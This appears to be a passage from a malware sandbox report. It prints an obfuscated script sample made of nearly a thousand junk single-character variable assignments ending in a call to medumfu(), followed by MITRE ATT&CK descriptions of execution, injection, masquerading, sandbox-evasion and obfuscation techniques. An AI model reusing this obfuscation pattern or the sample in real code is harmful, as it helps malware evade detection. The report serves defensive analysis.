425	kxeadfnr = "p";
426	kxeadfnr = "w";
427	kxeadfnr = "B";
428	kxeadfnr = "u";
429	kxeadfnr = "m";
430	kxeadfnr = "r";
431	kxeadfnr = "L";
432	kxeadfnr = "o";
433	kxeadfnr = "h";
434	kxeadfnr = "G";
435	kxeadfnr = "E";
436	kxeadfnr = "V";
437	kxeadfnr = "U";
438	kxeadfnr = "c";
439	kxeadfnr = "@";
440	bitrfnop = "T";
441	bitrfnop = "G";
442	bitrfnop = "E";
443	bitrfnop = "K";
444	bitrfnop = "k";
445	bitrfnop = "p";
446	bitrfnop = "O";
447	bitrfnop = "V";
448	bitrfnop = "X";
449	bitrfnop = "X";
450	bitrfnop = "V";
451	bitrfnop = "N";
452	bitrfnop = "b";
453	bitrfnop = "G";
454	bitrfnop = "k";
455	bitrfnop = "g";
456	bitrfnop = "q";
457	bitrfnop = "G";
458	bitrfnop = "B";
459	bitrfnop = "r";
460	bitrfnop = "o";
461	bitrfnop = "P";
462	vklguy = "K";
463	vklguy = "F";
464	mlpxnkrf = "n";
465	mlpxnkrf = "i";
466	mlpxnkrf = "K";
467	mlpxnkrf = "D";
468	mlpxnkrf = "s";
469	mlpxnkrf = "y";
470	mlpxnkrf = "x";
471	mlpxnkrf = "b";
472	mlpxnkrf = "n";
473	mlpxnkrf = "J";
474	mlpxnkrf = "Q";
475	mlpxnkrf = "K";
476	mlpxnkrf = "M";
477	mlpxnkrf = "F";
478	mlpxnkrf = "z";
479	mlpxnkrf = "M";
480	mlpxnkrf = "H";
481	mlpxnkrf = "k";
482	mlpxnkrf = "k";
483	mlpxnkrf = "W";
484	mlpxnkrf = "L";
485	mlpxnkrf = "X";
486	mlpxnkrf = "q";
487	qfxsgl = "e";
488	omfrsc = "N";
489	omfrsc = "f";
490	omfrsc = "V";
491	omfrsc = "e";
492	omfrsc = "W";
493	omfrsc = "f";
494	omfrsc = "v";
495	omfrsc = "q";
496	omfrsc = "q";
497	omfrsc = "A";
498	omfrsc = "H";
499	omfrsc = "G";
500	omfrsc = "I";
501	omfrsc = "a";
502	omfrsc = "f";
503	omfrsc = "F";
504	omfrsc = "o";
505	omfrsc = "d";
506	omfrsc = "F";
507	omfrsc = "A";
508	omfrsc = "W";
509	omfrsc = "o";
510	omfrsc = "p";
511	omfrsc = "p";
512	omfrsc = "l";
513	omfrsc = "B";
514	omfrsc = "m";
515	omfrsc = "_";
516	vxapenu = "v";
517	vxapenu = "Q";
518	vxapenu = "W";
519	vxapenu = "r";
520	vxapenu = "K";
521	vxapenu = "s";
522	vxapenu = "v";
523	vxapenu = "w";
524	vxapenu = "l";
525	vxapenu = "C";
526	vxapenu = "D";
527	vxapenu = "F";
528	vxapenu = "X";
529	vxapenu = "Y";
530	vxapenu = "t";
531	vxapenu = "J";
532	vxapenu = "Z";
533	vxapenu = "X";
534	vxapenu = "e";
535	vxapenu = "b";
536	vxapenu = "x";
537	vxapenu = "n";
538	vxapenu = "h";
539	vxapenu = "r";
540	vxapenu = "P";
541	vxapenu = "i";
542	vxapenu = "M";
543	vxapenu = "F";
544	vxapenu = "Z";
545	vxapenu = "P";
546	vxapenu = "o";
547	vxapenu = "q";
548	vxapenu = "h";
549	vxapenu = "a";
550	vxapenu = "r";
551	vxapenu = "z";
552	vxapenu = "O";
553	dsjdopj = "A";
554	dsjdopj = "J";
555	dsjdopj = "I";
556	dsjdopj = "V";
557	dsjdopj = "D";
558	dsjdopj = "R";
559	dsjdopj = "N";
560	dsjdopj = "Q";
561	dsjdopj = "V";
562	dsjdopj = "Y";
563	dsjdopj = "D";
564	dsjdopj = "E";
565	dsjdopj = "J";
566	dsjdopj = "N";
567	dsjdopj = "w";
568	dsjdopj = "n";
569	dsjdopj = "T";
570	dsjdopj = "n";
571	dsjdopj = "k";
572	dsjdopj = "o";
573	dsjdopj = "m";
574	dsjdopj = "k";
575	dsjdopj = "I";
576	dsjdopj = "N";
577	dsjdopj = "F";
578	dsjdopj = "O";
579	dsjdopj = "f";
580	dsjdopj = "B";
581	dsjdopj = "t";
582	dsjdopj = "f";
583	dsjdopj = "n";
584	dsjdopj = "v";
585	dsjdopj = "x";
586	dsjdopj = "s";
587	dsjdopj = "W";
588	dsjdopj = "m";
589	dsjdopj = ".";
590	opchrfjud = "P";
591	opchrfjud = "d";
592	opchrfjud = "d";
593	opchrfjud = "n";
594	opchrfjud = "h";
595	opchrfjud = "W";
596	opchrfjud = "W";
597	opchrfjud = "C";
598	opchrfjud = "k";
599	opchrfjud = "r";
600	opchrfjud = "Z";
601	opchrfjud = "c";
602	opchrfjud = "o";
603	qzjtdca = "y";
604	qzjtdca = "O";
605	qzjtdca = "d";
606	qzjtdca = "C";
607	qzjtdca = "n";
608	qzjtdca = "Y";
609	qzjtdca = "z";
610	qzjtdca = "v";
611	qzjtdca = "T";
612	qzjtdca = "o";
613	qzjtdca = "t";
614	qzjtdca = "l";
615	mpzgc = "M";
616	mpzgc = "J";
617	mpzgc = "N";
618	mpzgc = "L";
619	mpzgc = "P";
620	mpzgc = "T";
621	mpzgc = "Z";
622	mpzgc = "M";
623	mpzgc = "n";
624	mpzgc = "F";
625	mpzgc = "e";
626	mpzgc = "u";
627	mpzgc = "u";
628	mpzgc = "Z";
629	mpzgc = "O";
630	mpzgc = "O";
631	mpzgc = "H";
632	mpzgc = "u";
633	mpzgc = "k";
634	mpzgc = "I";
635	mpzgc = "U";
636	mpzgc = "y";
637	mpzgc = "H";
638	mpzgc = "J";
639	mpzgc = "C";
640	mpzgc = "g";
641	mpzgc = "J";
642	mpzgc = "g";
643	mpzgc = "c";
644	mpzgc = "k";
645	mpzgc = ":";
646	qdyng = "v";
647	qdyng = "W";
648	qdyng = "z";
649	qdyng = "H";
650	qdyng = "C";
651	qdyng = "s";
652	qdyng = "w";
653	qdyng = "E";
654	qdyng = "d";
655	qdyng = "O";
656	qdyng = "F";
657	qdyng = "Z";
658	qdyng = "B";
659	qdyng = "p";
660	qdyng = "d";
661	qdyng = "p";
662	qdyng = "G";
663	qdyng = "K";
664	qdyng = "q";
665	qdyng = "U";
666	qdyng = "c";
667	qdyng = "u";
668	qdyng = "T";
669	qdyng = "F";
670	qdyng = "I";
671	nlhvmo = "Q";
672	nlhvmo = "W";
673	nlhvmo = "y";
674	nlhvmo = "s";
675	nlhvmo = "Z";
676	nlhvmo = "a";
677	nlhvmo = "M";
678	nlhvmo = "c";
679	nlhvmo = "u";
680	nlhvmo = "Z";
681	nlhvmo = "G";
682	nlhvmo = "S";
683	nlhvmo = "b";
684	nlhvmo = "P";
685	nlhvmo = "m";
686	nlhvmo = "U";
687	nlhvmo = "Z";
688	nlhvmo = "Q";
689	nlhvmo = "l";
690	nlhvmo = "W";
691	nlhvmo = "P";
692	nlhvmo = "v";
693	nlhvmo = "b";
694	nlhvmo = "z";
695	nlhvmo = "b";
696	nlhvmo = "w";
697	nlhvmo = "W";
698	nlhvmo = "i";
699	nlhvmo = "B";
700	nlhvmo = "i";
701	nlhvmo = "P";
702	nlhvmo = "s";
703	nlhvmo = "P";
704	nlhvmo = "5";
705	cyjhycsql = "a";
706	cyjhycsql = "t";
707	cyjhycsql = "S";
708	cyjhycsql = "s";
709	cyjhycsql = "D";
710	cyjhycsql = "J";
711	cyjhycsql = "I";
712	cyjhycsql = "a";
713	cyjhycsql = "B";
714	cyjhycsql = "n";
715	cyjhycsql = "3";
716	uhwtcbh = "O";
717	uhwtcbh = "K";
718	uhwtcbh = "B";
719	uhwtcbh = "g";
720	uhwtcbh = "K";
721	uhwtcbh = "Z";
722	uhwtcbh = "P";
723	uhwtcbh = "U";
724	uhwtcbh = "F";
725	uhwtcbh = "k";
726	uhwtcbh = "m";
727	uhwtcbh = "t";
728	uhwtcbh = "i";
729	uhwtcbh = "v";
730	uhwtcbh = "k";
731	uhwtcbh = "L";
732	uhwtcbh = "k";
733	uhwtcbh = "w";
734	uhwtcbh = "4";
735	eqzcqyr = "U";
736	eqzcqyr = "N";
737	eqzcqyr = "f";
738	eqzcqyr = "V";
739	eqzcqyr = "f";
740	eqzcqyr = "i";
741	eqzcqyr = "J";
742	eqzcqyr = "o";
743	eqzcqyr = "P";
744	eqzcqyr = "D";
745	eqzcqyr = "y";
746	eqzcqyr = "T";
747	eqzcqyr = "z";
748	eqzcqyr = "G";
749	eqzcqyr = "j";
750	eqzcqyr = "L";
751	eqzcqyr = "l";
752	eqzcqyr = "Q";
753	eqzcqyr = "W";
754	eqzcqyr = "G";
755	eqzcqyr = "o";
756	eqzcqyr = "W";
757	eqzcqyr = "B";
758	eqzcqyr = "N";
759	eqzcqyr = "r";
760	eqzcqyr = "v";
761	eqzcqyr = "7";
762	nfojtcikl = "Y";
763	nfojtcikl = "l";
764	nfojtcikl = "s";
765	nfojtcikl = "R";
766	nfojtcikl = "E";
767	nfojtcikl = "T";
768	nfojtcikl = "P";
769	nfojtcikl = "i";
770	nfojtcikl = "O";
771	nfojtcikl = "y";
772	nfojtcikl = "c";
773	nfojtcikl = "Y";
774	nfojtcikl = "A";
775	nfojtcikl = "c";
776	nfojtcikl = "A";
777	nfojtcikl = "U";
778	nfojtcikl = "H";
779	nfojtcikl = "n";
780	nfojtcikl = "g";
781	nfojtcikl = "x";
782	nfojtcikl = "n";
783	nfojtcikl = "d";
784	nfojtcikl = "e";
785	nfojtcikl = "w";
786	nfojtcikl = "U";
787	nfojtcikl = "k";
788	nfojtcikl = "b";
789	nfojtcikl = "N";
790	nfojtcikl = "O";
791	nfojtcikl = "i";
792	nfojtcikl = "o";
793	nfojtcikl = "D";
794	nfojtcikl = "h";
795	nfojtcikl = "o";
796	nfojtcikl = "C";
797	iqpbr = "F";
798	iqpbr = "v";
799	iqpbr = "J";
800	iqpbr = "8";
801	mxzmazgit = "s";
802	mxzmazgit = "X";
803	mxzmazgit = "x";
804	mxzmazgit = "g";
805	mxzmazgit = "D";
806	mxzmazgit = "t";
807	mxzmazgit = "V";
808	mxzmazgit = "p";
809	uzwww = "a";
810	uzwww = "D";
811	uzwww = "k";
812	uzwww = "p";
813	uzwww = "e";
814	uzwww = "r";
815	uzwww = "k";
816	uzwww = "V";
817	uzwww = "P";
818	uzwww = "r";
819	uzwww = "D";
820	uzwww = "q";
821	uzwww = "u";
822	uzwww = "w";
823	uzwww = "Y";
824	uzwww = "F";
825	uzwww = "A";
826	uzwww = "s";
827	uzwww = "V";
828	uzwww = "o";
829	uzwww = "d";
830	uzwww = "p";
831	uzwww = "a";
832	uzwww = "j";
833	uzwww = "J";
834	uzwww = "U";
835	uzwww = "M";
836	uzwww = "R";
837	uzwww = "a";
838	uzwww = "e";
839	uzwww = "S";
840	uzwww = "F";
841	uzwww = "c";
842	uzwww = "n";
843	uzwww = "h";
844	uzwww = "P";
845	uzwww = "e";
846	uzwww = "d";
847	uzwww = "X";
848	uzwww = "a";
849	uzwww = "Q";
850	uzwww = "j";
851	uzwww = "A";
852	uzwww = "d";
853	uzwww = "m";
854	ymgzphzti = "Y";
855	ymgzphzti = "T";
856	ymgzphzti = "-";
857	zkxcjaui = "A";
858	zkxcjaui = "H";
859	zkxcjaui = "w";
860	zkxcjaui = "R";
861	zkxcjaui = "h";
862	zkxcjaui = "r";
863	zkxcjaui = "T";
864	zkxcjaui = "q";
865	zkxcjaui = "c";
866	zkxcjaui = "E";
867	zkxcjaui = "F";
868	zkxcjaui = "e";
869	zkxcjaui = "T";
870	zkxcjaui = "V";
871	zkxcjaui = "G";
872	zkxcjaui = "e";
873	zkxcjaui = "h";
874	zkxcjaui = "A";
875	zkxcjaui = "H";
876	zkxcjaui = "F";
877	zkxcjaui = "i";
878	zkxcjaui = "x";
879	zkxcjaui = "J";
880	zkxcjaui = "s";
881	zkxcjaui = "J";
882	zkxcjaui = "M";
883	zkxcjaui = "f";
884	zkxcjaui = "G";
885	zkxcjaui = "A";
886	zkxcjaui = "k";
887	zkxcjaui = "W";
888	zkxcjaui = "f";
889	klgnwhwb = "m";
890	klgnwhwb = "G";
891	klgnwhwb = "V";
892	klgnwhwb = "N";
893	klgnwhwb = "M";
894	klgnwhwb = "a";
895	klgnwhwb = "O";
896	klgnwhwb = "z";
897	klgnwhwb = "h";
898	klgnwhwb = "u";
899	klgnwhwb = "d";
900	klgnwhwb = "b";
901	klgnwhwb = "F";
902	klgnwhwb = "B";
903	klgnwhwb = "p";
904	klgnwhwb = "H";
905	klgnwhwb = "O";
906	klgnwhwb = "j";
907	klgnwhwb = "l";
908	klgnwhwb = "g";
909	klgnwhwb = "d";
910	klgnwhwb = "R";
911	klgnwhwb = "l";
912	klgnwhwb = "o";
913	klgnwhwb = "I";
914	klgnwhwb = "E";
915	klgnwhwb = "h";
916	klgnwhwb = "h";
917	klgnwhwb = "O";
918	klgnwhwb = "M";
919	klgnwhwb = "O";
920	klgnwhwb = "N";
921	klgnwhwb = "b";
922	klgnwhwb = "l";
923	klgnwhwb = "K";
924	klgnwhwb = "H";
925	klgnwhwb = "B";
926	klgnwhwb = "r";
927	klgnwhwb = "n";
928	nplnpw = "y";
929	nplnpw = "Y";
930	nplnpw = "O";
931	nplnpw = "J";
932	nplnpw = "H";
933	nplnpw = "D";
934	nplnpw = "s";
935	nplnpw = "z";
936	nplnpw = "w";
937	nplnpw = "r";
938	nplnpw = "B";
939	nplnpw = "A";
940	nplnpw = "t";
941	nplnpw = "E";
942	nplnpw = "H";
943	nplnpw = "k";
944	nplnpw = "R";
945	nplnpw = "B";
946	nplnpw = "W";
947	nplnpw = "X";
948	nplnpw = "R";
949	nplnpw = "F";
950	nplnpw = "u";
951	nplnpw = "Y";
952	nplnpw = "O";
953	nplnpw = "g";
954	nplnpw = "Z";
955	nplnpw = "b";
956	nplnpw = "D";
957	nplnpw = "G";
958	nplnpw = "B";
959	nplnpw = "P";
960	nplnpw = "t";
961	nplnpw = "l";
962	nplnpw = "A";
963	nplnpw = "f";
964	nplnpw = "q";
965	nplnpw = "f";
966	nplnpw = "N";
967	nplnpw = "x";
968	tmhlhybdk = "j";
969	tmhlhybdk = "V";
970	tmhlhybdk = "E";
971	tmhlhybdk = "L";
972	tmhlhybdk = "E";
973	tmhlhybdk = "G";
974	tmhlhybdk = " ";
975	fgjro = "u";
976	fgjro = "v";
977	fgjro = "M";
978	fgjro = "%";
979	nsvswtwy = "f";
980	nsvswtwy = "b";
981	nsvswtwy = "M";
982	nsvswtwy = "L";
983	nsvswtwy = "X";
984	nsvswtwy = "f";
985	nsvswtwy = "b";
986	nsvswtwy = "a";
987	nsvswtwy = "s";
988	nsvswtwy = "P";
989	nsvswtwy = "V";
990	nsvswtwy = "s";
991	aqqyifb = "S";
992	aqqyifb = "a";
993	aqqyifb = "V";
994	aqqyifb = "p";
995	aqqyifb = "B";
996	aqqyifb = "Z";
997	aqqyifb = "E";
998	aqqyifb = "j";
999	aqqyifb = "V";
1000	aqqyifb = "E";
1001	aqqyifb = "u";
1002	aqqyifb = "D";
1003	aqqyifb = "q";
1004	aqqyifb = "s";
1005	aqqyifb = "s";
1006	aqqyifb = "g";
1007	aqqyifb = "L";
1008	aqqyifb = "M";
1009	aqqyifb = "l";
1010	aqqyifb = "o";
1011	aqqyifb = "Q";
1012	aqqyifb = "K";
1013	aqqyifb = "x";
1014	aqqyifb = "R";
1015	aqqyifb = "y";
1016	aqqyifb = "B";
1017	aqqyifb = "X";
1018	aqqyifb = "h";
1019	aqqyifb = "P";
1020	aqqyifb = "A";
1021	aqqyifb = "d";
1022	aqqyifb = "i";
1023	aqqyifb = "l";
1024	aqqyifb = "h";
1025	aqqyifb = "c";
1026	aqqyifb = "G";
1027	aqqyifb = "r";
1028	aqqyifb = "P";
1029	aqqyifb = "L";
1030	aqqyifb = "&";
1031	pjsbz = "G";
1032	pjsbz = "l";
1033	pjsbz = "i";
1034	pjsbz = "V";
1035	pjsbz = "B";
1036	pjsbz = "X";
1037	pjsbz = "k";
1038	pjsbz = "b";
1039	pjsbz = "k";
1040	pjsbz = "t";
1041	yfwdaiu = "I";
1042	yfwdaiu = "A";
1043	yfwdaiu = "x";
1044	yfwdaiu = "p";
1045	yfwdaiu = "D";
1046	yfwdaiu = "J";
1047	yfwdaiu = "N";
1048	yfwdaiu = "m";
1049	yfwdaiu = "c";
1050	yfwdaiu = "C";
1051	yfwdaiu = "m";
1052	yfwdaiu = "x";
1053	yfwdaiu = "N";
1054	yfwdaiu = "o";
1055	yfwdaiu = "l";
1056	yfwdaiu = "P";
1057	yfwdaiu = "V";
1058	yfwdaiu = "w";
1059	yfwdaiu = "w";
1060	yfwdaiu = "R";
1061	yfwdaiu = "M";
1062	yfwdaiu = "h";
1063	yfwdaiu = "g";
1064	yfwdaiu = "U";
1065	yfwdaiu = "v";
1066	yfwdaiu = "k";
1067	yfwdaiu = "b";
1068	yfwdaiu = "N";
1069	yfwdaiu = "Z";
1070	yfwdaiu = "A";
1071	yfwdaiu = "H";
1072	yfwdaiu = "s";
1073	yfwdaiu = "j";
1074	yfwdaiu = "X";
1075	yfwdaiu = "U";
1076	yfwdaiu = "q";
1077	yfwdaiu = "i";
1078	yfwdaiu = "I";
1079	yfwdaiu = "J";
1080	yfwdaiu = "q";
1081	yfwdaiu = "P";
1082	yfwdaiu = "9";
1083	mqcqr = "n";
1084	mqcqr = "X";
1085	mqcqr = "W";
1086	mqcqr = "t";
1087	mqcqr = "B";
1088	mqcqr = "y";
1089	mqcqr = "C";
1090	mqcqr = "y";
1091	mqcqr = "i";
1092	mqcqr = "L";
1093	mqcqr = "E";
1094	mqcqr = "H";
1095	mqcqr = "p";
1096	mqcqr = "x";
1097	mqcqr = "K";
1098	mqcqr = "u";
1099	mqcqr = "L";
1100	mqcqr = "u";
1101	mqcqr = "W";
1102	mqcqr = "k";
1103	mqcqr = "w";
1104	mqcqr = "s";
1105	mqcqr = "\"";
1106	stcatss = "j";
1107	stcatss = "M";
1108	stcatss = "D";
1109	stcatss = "W";
1110	stcatss = "x";
1111	stcatss = "a";
1112	stcatss = "h";
1113	stcatss = "y";
1114	stcatss = "R";
1115	stcatss = "q";
1116	stcatss = "k";
1117	stcatss = "H";
1118	stcatss = "B";
1119	stcatss = "z";
1120	stcatss = "V";
1121	stcatss = "S";
1122	stcatss = "d";
1123	isnry = "B";
1124	isnry = "l";
1125	isnry = "b";
1126	isnry = "w";
1127	isnry = "C";
1128	isnry = "i";
1129	isnry = "X";
1130	isnry = "L";
1131	isnry = "H";
1132	isnry = "E";
1133	isnry = "D";
1134	isnry = "X";
1135	isnry = "V";
1136	isnry = "p";
1137	isnry = "P";
1138	isnry = "h";
1139	isnry = "H";
1140	isnry = "k";
1141	isnry = "s";
1142	isnry = "O";
1143	isnry = "k";
1144	isnry = "I";
1145	isnry = "S";
1146	isnry = "P";
1147	isnry = "t";
1148	isnry = "g";
1149	isnry = "U";
1150	isnry = "L";
1151	isnry = "f";
1152	isnry = "z";
1153	isnry = "m";
1154	isnry = "b";
1155	isnry = "E";
1156	isnry = "W";
1157	isnry = "A";
1158	isnry = "Y";
1159	isnry = "S";
1160	isnry = "y";
1161	isnry = "H";
1162	isnry = "U";
1163	isnry = "a";
1164	isnry = "R";
1165	wxguaphlu = "P";
1166	wxguaphlu = "F";
1167	wxguaphlu = "H";
1168	wxguaphlu = "c";
1169	wxguaphlu = "x";
1170	wxguaphlu = "o";
1171	wxguaphlu = "L";
1172	dtearmkxi = "W";
1173	dtearmkxi = "e";
1174	dtearmkxi = "U";
1175	dtearmkxi = "M";
1176	dtearmkxi = "F";
1177	dtearmkxi = "Y";
1178	dtearmkxi = "t";
1179	dtearmkxi = "k";
1180	dtearmkxi = "f";
1181	dtearmkxi = "h";
1182	dtearmkxi = "j";
1183	dtearmkxi = "b";
1184	dtearmkxi = "l";
1185	dtearmkxi = "J";
1186	dtearmkxi = "T";
1187	dtearmkxi = "n";
1188	dtearmkxi = "f";
1189	dtearmkxi = "A";
1190	dtearmkxi = "A";
1191	dtearmkxi = "R";
1192	dtearmkxi = "w";
1193	dtearmkxi = "r";
1194	dyfhsq = "l";
1195	dyfhsq = "x";
1196	dyfhsq = "b";
1197	dyfhsq = "I";
1198	dyfhsq = "s";
1199	dyfhsq = "Z";
1200	dyfhsq = "U";
1201	dyfhsq = "h";
1202	dyfhsq = "C";
1203	dyfhsq = "j";
1204	lxvgm = "O";
1205	lxvgm = "d";
1206	lxvgm = "w";
1207	lxvgm = "Y";
1208	lxvgm = "m";
1209	lxvgm = "x";
1210	lxvgm = "l";
1211	lxvgm = "C";
1212	lxvgm = "o";
1213	lxvgm = "b";
1214	lxvgm = "z";
1215	lxvgm = "L";
1216	lxvgm = "I";
1217	lxvgm = "k";
1218	lxvgm = "u";
1219	lxvgm = "f";
1220	lxvgm = "c";
1221	vephu = "k";
1222	vephu = "o";
1223	vephu = "z";
1224	vephu = "I";
1225	vephu = "A";
1226	vephu = "u";
1227	vephu = "P";
1228	vephu = "S";
1229	vephu = "I";
1230	vephu = "1";
1231	emogod = "b";
1232	emogod = "y";
1233	emogod = "n";
1234	emogod = "w";
1235	emogod = "E";
1236	ibwblmfxy = "m";
1237	ibwblmfxy = "A";
1238	ibwblmfxy = "L";
1239	ibwblmfxy = "X";
1240	ibwblmfxy = "K";
1241	ibwblmfxy = "M";
1242	ibwblmfxy = "W";
1243	ibwblmfxy = "h";
1244	vchyhfu = "G";
1245	vchyhfu = "t";
1246	vchyhfu = "H";
1247	vchyhfu = "U";
1248	vchyhfu = "N";
1249	vchyhfu = "i";
1250	vchyhfu = "s";
1251	vchyhfu = "v";
1252	vchyhfu = "G";
1253	vchyhfu = "v";
1254	vchyhfu = "Q";
1255	vchyhfu = "Z";
1256	vchyhfu = "T";
1257	vchyhfu = "0";
1258	srxow = "r";
1259	srxow = "N";
1260	srxow = "p";
1261	srxow = "V";
1262	srxow = "C";
1263	srxow = "x";
1264	srxow = "w";
1265	srxow = "H";
1266	srxow = "V";
1267	srxow = "L";
1268	srxow = "I";
1269	srxow = "f";
1270	srxow = "G";
1271	srxow = "D";
1272	srxow = "I";
1273	srxow = "H";
1274	srxow = "S";
1275	srxow = "i";
1276	srxow = "R";
1277	srxow = "o";
1278	srxow = "U";
1279	srxow = "f";
1280	srxow = "N";
1281	srxow = "o";
1282	srxow = "T";
1283	srxow = "l";
1284	srxow = "a";
1285	srxow = "f";
1286	srxow = "M";
1287	srxow = "p";
1288	srxow = "Y";
1289	srxow = "m";
1290	srxow = "h";
1291	srxow = "S";
1292	srxow = "y";
1293	srxow = "s";
1294	srxow = "C";
1295	srxow = "j";
1296	srxow = "p";
1297	srxow = "X";
1298	srxow = "c";
1299	srxow = "k";
1300	srxow = "k";
1301	kqqvvuee = "A";
1302	kqqvvuee = "e";
1303	kqqvvuee = "X";
1304	kqqvvuee = "g";
1305	kqqvvuee = "F";
1306	kqqvvuee = "Q";
1307	kqqvvuee = "o";
1308	kqqvvuee = "c";
1309	kqqvvuee = "O";
1310	kqqvvuee = "I";
1311	kqqvvuee = "w";
1312	kqqvvuee = "Z";
1313	kqqvvuee = "k";
1314	kqqvvuee = "I";
1315	kqqvvuee = "H";
1316	kqqvvuee = "S";
1317	kqqvvuee = "s";
1318	kqqvvuee = "j";
1319	kqqvvuee = "G";
1320	kqqvvuee = "Q";
1321	kqqvvuee = "r";
1322	kqqvvuee = "L";
1323	kqqvvuee = "V";
1324	kqqvvuee = "s";
1325	kqqvvuee = "q";
1326	kqqvvuee = "t";
1327	kqqvvuee = "X";
1328	kqqvvuee = "X";
1329	kqqvvuee = "M";
1330	kqqvvuee = "V";
1331	kqqvvuee = "l";
1332	kqqvvuee = "V";
1333	kqqvvuee = "C";
1334	kqqvvuee = "R";
1335	kqqvvuee = "M";
1336	kqqvvuee = "T";
1337	kqqvvuee = "P";
1338	kqqvvuee = "e";
1339	kqqvvuee = "q";
1340	kqqvvuee = "W";
1341	kqqvvuee = "u";
1342	dmegrblwp = "S";
1343	dmegrblwp = "P";
1344	dmegrblwp = "e";
1345	dmegrblwp = "q";
1346	dmegrblwp = "w";
1347	dmegrblwp = "L";
1348	dmegrblwp = "P";
1349	dmegrblwp = "m";
1350	dmegrblwp = "C";
1351	dmegrblwp = "z";
1352	dmegrblwp = "Q";
1353	dmegrblwp = "I";
1354	dmegrblwp = "b";
1355	dmegrblwp = "w";
1356	dmegrblwp = "f";
1357	dmegrblwp = "i";
1358	dmegrblwp = "E";
1359	dmegrblwp = "g";
1360	dmegrblwp = "K";
1361	dmegrblwp = "j";
1362	dmegrblwp = "w";
1363	dmegrblwp = "a";
1364	dmegrblwp = "a";
1365	dmegrblwp = "c";
1366	dmegrblwp = "V";
1367	dmegrblwp = "G";
1368	dmegrblwp = "d";
1369	dmegrblwp = "z";
1370	dmegrblwp = "S";
1371	dmegrblwp = "t";
1372	dmegrblwp = "k";
1373	dmegrblwp = "o";
1374	dmegrblwp = "r";
1375	dmegrblwp = "X";
1376	dmegrblwp = "P";
1377	dmegrblwp = "J";
1378	dmegrblwp = "U";
1379	dmegrblwp = "n";
1380	dmegrblwp = "S";
1381	dmegrblwp = "Q";
1382	medumfu ( );	medumfu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
